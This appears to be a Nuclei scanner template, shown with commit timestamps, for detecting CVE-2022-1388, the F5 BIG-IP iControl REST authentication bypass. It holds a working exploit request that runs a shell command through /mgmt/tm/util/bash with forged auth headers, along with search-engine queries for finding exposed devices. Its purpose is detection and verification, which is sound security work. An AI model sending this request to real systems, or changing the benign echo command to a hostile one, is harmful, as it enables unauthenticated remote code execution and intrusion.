2022-05-09 07:53:05 +00:00
id : CVE-2022-1388
info :
2022-05-10 21:07:09 +00:00
name : F5 BIG-IP iControl - REST Auth Bypass RCE
2022-05-09 13:57:14 +00:00
author : dwisiswant0,Ph33r
2022-05-09 07:53:05 +00:00
severity : critical
description : |
2022-05-20 21:38:52 +00:00
F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
2022-05-09 07:53:05 +00:00
reference :
2022-05-09 08:40:31 +00:00
- https://twitter.com/GossiTheDog/status/1523566937414193153
2022-05-11 20:30:33 +00:00
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
2022-05-09 07:53:05 +00:00
- https://support.f5.com/csp/article/K23605346
2022-05-10 21:07:09 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
2023-10-18 16:26:30 +00:00
- https://www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
2022-05-09 08:58:57 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 9.8
2022-05-09 08:58:57 +00:00
cve-id : CVE-2022-1388
cwe-id : CWE-306
2024-03-23 09:28:19 +00:00
epss-score : 0.97477
epss-percentile : 0.99964
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
2022-05-09 09:37:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : f5
product : big-ip_access_policy_manager
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"BIG-IP®-+Redirect" +"Server"
- http.title:"big-ip®-+redirect" +"server"
2024-05-31 19:23:20 +00:00
fofa-query : title="big-ip®-+redirect" +"server"
google-query : intitle:"big-ip®-+redirect" +"server"
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,f5,bigip,rce,mirai,kev
2022-05-09 09:37:01 +00:00
variables :
auth : "admin:"
2022-05-14 10:26:45 +00:00
cmd : "echo CVE-2022-1388 | rev"
2022-05-09 08:36:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-09 07:53:05 +00:00
- raw :
2022-05-10 21:19:58 +00:00
- |
2022-05-09 07:53:05 +00:00
POST /mgmt/tm/util/bash HTTP/1.1
Host : {{Hostname}}
Connection : keep-alive, X-F5-Auth-Token
X-F5-Auth-Token : a
2022-05-09 08:36:32 +00:00
Authorization : Basic {{base64(auth)}}
2022-05-09 07:53:05 +00:00
Content-Type : application/json
2022-05-10 21:07:09 +00:00
2022-05-09 07:53:05 +00:00
{
2022-05-10 21:07:09 +00:00
"command": "run" ,
2022-05-11 20:29:55 +00:00
"utilCmdArgs": "-c '{{cmd}}'"
2022-05-09 07:53:05 +00:00
}
2022-05-09 13:57:14 +00:00
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host : localhost
Connection : keep-alive, X-F5-Auth-Token
X-F5-Auth-Token : a
Authorization : Basic {{base64(auth)}}
Content-Type : application/json
2022-05-10 21:07:09 +00:00
2022-05-09 13:57:14 +00:00
{
2022-05-11 20:29:55 +00:00
"command": "run" ,
"utilCmdArgs": "-c '{{cmd}}'"
2022-05-09 13:57:14 +00:00
}
2022-05-10 21:07:09 +00:00
2022-05-11 20:29:55 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-05-10 21:07:09 +00:00
matchers-condition : and
2022-05-09 07:53:05 +00:00
matchers :
- type : word
2022-05-11 20:29:55 +00:00
part : body
2022-05-09 07:53:05 +00:00
words :
2022-05-10 21:07:09 +00:00
- "commandResult"
2022-05-11 20:29:55 +00:00
- "8831-2202-EVC"
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100f58305fa4b37c3010cc6bfa485829fdc63e597371fbb3d1ebabb94c4a4b3dc5e022038461476fb57ebbdb5164ea86d748bdf0561aa15136205a6744a5ba55c7bf7bb:922c64590222798bb761d5b6d8e72950